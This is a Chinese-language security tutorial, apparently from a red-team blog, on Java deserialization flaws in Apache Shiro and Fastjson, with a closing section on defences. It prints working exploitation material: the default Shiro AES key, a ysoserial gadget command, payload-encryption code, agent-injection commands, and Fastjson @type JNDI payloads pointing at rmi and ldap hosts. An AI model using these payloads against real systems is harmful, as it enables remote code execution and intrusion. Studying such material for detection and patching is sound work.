深信服西部天威战队:Java反序列漏洞总结
字数 3065 2025-08-12 11:33:45
Java反序列化漏洞全面解析与防御指南
一、序列化与反序列化基础
1.1 基本概念
- Java序列化:将Java对象转换为字节序列的过程
- Java反序列化:将字节序列恢复为Java对象的过程
1.2 序列化的作用
- 数据持久化:将数据永久保存在硬盘上
- 远程通信:在网络上传递对象的字节序列
- 内存管理:如Web服务器中的Session会话对象管理
1.3 实现方式
关键类:
ObjectOutputStream:对象输出流writeObject(Object object):将对象以二进制格式写入
ObjectInputStream:对象输入流readObject():从输入流中读取二进制流并转换为对象
实现要求:
- 目标类必须实现
Serializable接口 - 建议定义
serialVersionUID字段作为序列化版本号
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L;
// 类成员和方法...
}
二、常见存在反序列化漏洞的框架
2.1 Apache Shiro
2.1.1 Shiro核心架构
- Subject:代表当前用户
- SecurityManager:管理所有Subject,Shiro架构的核心
- Realms:负责获取用户权限和角色信息
2.1.2 Shiro-550漏洞原理
-
用户登录成功后生成加密的RememberMe Cookie
-
服务端解析Cookie步骤:
- 检索RememberMe Cookie值
- Base64解码
- AES解密
- 反序列化操作(漏洞点:未过滤的readObject())
-
默认AES密钥(Shiro1.2.4之前):
kPH+bIxk5D2deZiIxcaaaA==
2.1.3 漏洞检测方法
- URLDNS利用链:使用ysoserial生成探测payload
- CC利用链盲打:生成ping dnslog payload
- PrincipalCollection探测:
- 构造继承PrincipalCollection的序列化对象
- Key正确:Set-Cookie不返回deleteMe
- Key错误:Set-Cookie返回deleteMe
2.1.4 漏洞复现步骤
-
使用ysoserial生成CommonsBeanutils_183的Gadget:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser -
使用Shiro默认密钥加密payload:
AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); -
发送生成的rememberMe Cookie实现命令执行
2.1.5 Shiro后渗透技术
使用Agent技术修改key:
- 工具:AgentInjectTool
- 操作步骤:
java -jar AgentInjectTool.jar list # 获取Shiro进程PID java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey} - 原理:hook AbstractRememberMeManager类并调用setCipherKey方法
相关工具:
- ShiroAttack2:https://github.com/SummerSec/ShiroAttack2
- 改造后的ysoserial:https://github.com/KpLi0rn/ysoserial
- BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan
2.2 Fastjson
2.2.1 漏洞原理
- AutoType功能:允许通过"@type"指定反序列化的Class类型
- 漏洞点:未对@type字段进行充分安全性验证,可传入危险类
2.2.2 AutoType黑名单机制
- Fastjson通过Hash算法存储存在安全风险的Class全路径Hash值
- 版本差异:
- 1.2.25-1.2.42:明文黑名单
- 更高版本:哈希黑名单
2.2.3 检测方法
-
有回显检测:
- 使用不闭合花括号方式触发报错
- 报错信息中通常包含"fastjson"字样
-
无回显检测:
- 通过DNS回显判断:
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
- 通过DNS回显判断:
-
DOS延迟判断:
- Fastjson1.2.36-1.2.62存在正则表达式拒绝服务漏洞
- 使用
{"a":"\x请求会触发DOS
2.2.4 各版本利用Payload
| 影响版本 | 利用条件 | Payload示例 |
|---|---|---|
| <=1.2.24 | 无 | 标准JNDI注入 |
| <=1.2.41 | autoTypeSupport=true | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} |
| <=1.2.42 | autoTypeSupport=true | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} |
| <=1.2.47 | 无 | 特殊构造的JNDI注入 |
| <=1.2.62 | 无 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"} |
| <=1.2.68 | JRE 8下 | 写文件利用链 |
2.2.5 利用链分类
-
JNDI注入(需要出网):
- JdbcRowSetImpl
- C3p0#JndiRefForwardingDataSource
- JndiDataSourceFactory
-
BCEL利用(不出网):
- 适用于Java 8u251之前版本
- 利用Apache Commons BCEL类
- 示例:
{ "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "
\[BCEL \]
\(l\)8b\(I$A\)..."
}
}
```
三、防御措施
3.1 通用防御策略
- 升级到最新安全版本
- 禁用或限制反序列化功能
- 实施严格的输入验证
- 使用白名单机制限制可反序列化的类
3.2 框架特定防御
Shiro:
- 升级到最新版本
- 修改默认加密密钥
- 禁用RememberMe功能(如不需要)
Fastjson:
- 关闭autotype功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); - 自定义反序列化白名单
四、工具资源
-
漏洞检测工具:
- ysoserial:https://github.com/frohoff/ysoserial
- ShiroAttack2:https://github.com/SummerSec/ShiroAttack2
- BurpShiroPassiveScan:https://github.com/pmiaowu/BurpShiroPassiveScan
-
密钥修改工具:
- AgentInjectTool:https://github.com/SummerSec/AgentInjectTool
-
黑名单参考:
- Fastjson黑名单:https://github.com/LeadroyaL/fastjson-blacklist
-
改造工具:
- 改造后的ysoserial:https://github.com/KpLi0rn/ysoserial
通过全面理解这些反序列化漏洞的原理、检测方法和防御措施,安全人员可以更有效地识别和防范相关风险,保护系统安全。